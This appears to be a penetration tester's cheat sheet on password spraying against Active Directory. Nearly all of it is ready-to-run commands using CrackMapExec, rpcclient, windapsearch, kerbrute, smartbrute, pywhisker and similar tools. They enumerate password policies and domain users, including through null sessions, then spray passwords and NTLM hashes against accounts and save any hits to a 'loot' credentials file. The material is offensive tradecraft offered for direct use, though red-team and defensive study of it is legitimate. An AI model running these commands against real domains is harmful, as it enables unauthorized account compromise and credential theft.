Password Spraying

Password Policy

Enumerate password policy in the domain:

$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess

Example of net accounts output:

Fine-Grained Password Policies

Map FGPPs to the users they're being applied to (need admin privileges by default):

ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
    $appliesTo = $fgpp | select -ExpandProperty AppliesTo
    $objectClass = (Get-ADObject $appliesTo).ObjectClass

    Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"
    $fgpp | Out-Host

    If ($objectClass -eq "group") {
        Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
    ElseIf ($objectClass -eq "user") {
        Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
}

When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with msDS-PSOApplied or msDS-ResultantPSO properties populated (can be read by a regular user) from the spray list.

Check if exists:

PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO

Get Domain Users

Non-Authenticated (Null Session)

pageRID Cycling

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via RID Cycling.

Another approach is to manually request all users via RPC ($IPC share):

  • CrackMapExec:

$ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups

  • rpcclient:

$ rpcclient -N -U '' 192.168.1.11
rpcclient $> enumdomusers
rpcclient $> enumdomgroups

  • net:

$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '192.168.1.11' -U '%'

  • smbclient (check):

$ smbclient -N -U '' -L 192.168.1.11
$ enum4linux -v -a 192.168.1.11 | tee ~/ws/log/enum4linux.out
$ nullinux.py 192.168.1.11

Authenticated

Query LDAP for all domain user accounts via GetADUsers.py:

$ GetADUsers.py MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip 192.168.1.11 | tee ~/ws/log/GetADUsers.out

Query LDAP for all domain user accounts via windapsearch:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk -F@ '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt

Query LDAP for all active domain user accounts via go-windapsearch:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt

Shadow Spray

$ python3 pywhisker.py -d megacorp.local -u snovvcrash  -p 'Passw0rd!' --target-list users.txt --action spray -v

kerbrute

Generate a wordlist of common usernames in an appropriate format and validate it against KDC (doesn't cause accounts lock out):

$ kerbrute -d megacorp.local -o ~/ws/log/kerbrute-userenum.log userenum ~/ws/enum/names.txt
$ cat ~/ws/log/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' > ~/ws/enum/valid-users.txt

Perform password spraying for discovered accounts:

$ kerbrute --delay 100 -d megacorp.local -o ~/ws/log/kerbrute-passwordspray-'123456'.log passwordspray ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/log/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt

pyKerbrute

$ python2 ADPwdSpray.py 192.168.1.11 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp

smartbrute

Spray single hash against a list of users:

$ smartbrute -v brute --delay 100 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --dc-ip 192.168.1.11

Get domain password policy and active users:

$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11

Launch smart password spray with a hash:

$ smartbrute -v smart --delay 100 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11 kerberos
